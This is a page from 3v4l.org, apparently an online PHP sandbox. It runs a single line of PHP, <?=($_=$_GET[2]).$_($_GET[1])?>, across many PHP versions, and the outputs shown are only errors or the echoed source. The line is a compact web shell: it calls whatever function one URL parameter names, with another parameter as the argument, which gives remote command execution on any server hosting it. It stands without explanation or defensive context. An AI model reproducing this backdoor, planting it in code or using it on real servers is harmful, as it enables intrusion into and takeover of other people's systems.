3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?=($_=$_GET[2]).$_($_GET[1])?>
Output for 7.0.0 - 7.1.0
Notice: Undefined offset: 2 in /in/3UB4d on line 1 Fatal error: Uncaught Error: Function name must be a string in /in/3UB4d:1 Stack trace: #0 {main} thrown in /in/3UB4d on line 1
Process exited with code 255.
Output for 5.4.0 - 5.6.28
Notice: Undefined offset: 2 in /in/3UB4d on line 1 Fatal error: Function name must be a string in /in/3UB4d on line 1
Process exited with code 255.
Output for 4.3.0 - 5.3.29
<?=($_=$_GET[2]).$_($_GET[1])?>